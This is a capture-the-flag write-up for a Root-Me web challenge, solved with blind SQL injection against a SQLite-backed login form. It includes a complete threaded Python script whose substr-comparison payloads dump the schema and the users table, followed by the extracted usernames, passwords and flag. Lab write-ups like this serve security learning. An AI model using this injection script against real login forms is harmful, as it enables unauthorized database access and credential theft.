Here we need to extract data using blind SQL Injection.
Via the error messages I relized this is sqlite behined the scenes, so i gave this query Select SQL FROM sqlite_master to extract the schema.
This is the schema:
CREATE TABLE users (username TEXT, password TEXT)
Then, we extracted line by line from the users tables, until we dumped the data.
This script is very fast, I wrote it using chatGPT, and it do the job.
import requests
import string
from concurrent.futures import ThreadPoolExecutor, as_completed
url = "http://challenge01.root-me.org/web-serveur/ch10/"
charset = sorted("s" + string.ascii_letters + string.digits + " _{}-(),~")
true_cond = "Welcome back"
max_len = 50 # max length of string to extract
max_workers = 10 # number of concurrent threads
session = requests.Session()
def check_condition(query, pos, ch, operator):
"""
Sends a payload testing if substr(query, pos, 1) <operator> ch
operator: '>=' or '<'
Returns True if condition is met, False otherwise.
"""
payload = f"a' or substr({query}, {pos}, 1) {operator} '{ch}' -- "
data = {"username": payload, "password": "a"}
try:
r = session.post(url, data=data, timeout=5)
return true_cond in r.text
except requests.RequestException:
return False
def binary_search_char(query, pos):
"""
Binary search to find the exact character at position `pos` in result of `query`.
Returns the found character or None if not found.
"""
low, high = 0, len(charset) - 1
while low <= high:
mid = (low + high) // 2
ch = charset[mid]
# Check if char at pos >= ch
if check_condition(query, pos, ch, '>='):
low = mid + 1
else:
high = mid - 1
if 0 <= high < len(charset):
return charset[high]
return None
def extract(query):
"""
Extracts string result of SQL query from position 1 up to max_len.
Uses threading to speed up extracting multiple positions in parallel.
"""
result = [""] * max_len # pre-allocate list for characters
def worker(pos):
ch = binary_search_char(query, pos)
return pos, ch
print(f"[i] Starting extraction from: {query}")
with ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = [executor.submit(worker, pos) for pos in range(1, max_len + 1)]
for future in as_completed(futures):
pos, ch = future.result()
if ch is None:
# No char found, treat as end of string
print(f"[-] No character found at position {pos}, stopping extraction.")
# Cancel remaining futures (not guaranteed but try)
for f in futures:
f.cancel()
break
else:
result[pos - 1] = ch
print(f"[+] Position {pos}: {ch}")
extracted = "".join(result).rstrip("\x00 ").strip()
print(f"\n[+] Extraction complete:\n{extracted}")
return extracted
if __name__ == "__main__":
# Example: Extract SQL from sqlite_master table
db_schema = extract("(Select SQL FROM sqlite_master LIMIT 1 OFFSET 0)")
# print("Extracted schema snippet:\n", db_schema)
# CREATE TABLE users (username TEXT, password TEXT)
creds = ["" for _ in range(5)]
for i in range(5):
creds[i] += extract(f"(Select username ||' ' ||password FROM users LIMIT 1 OFFSET {i})")
print("Extracted credentials snippets:")
for i in range(5):
print(f"Cred {i}: {creds[i]}")
# print("Extracted data snippet:\n", data)
After execution, we get this:
Extracted credentials snippets:
Cred 0: user1 DsD6z756f
Cred 1: admin e2azO93
Cred 2: user2 Z28gsya65ze34de
Cred 3:
Cred 4:
So, the password is:
e2azO93
Flag: e2azO93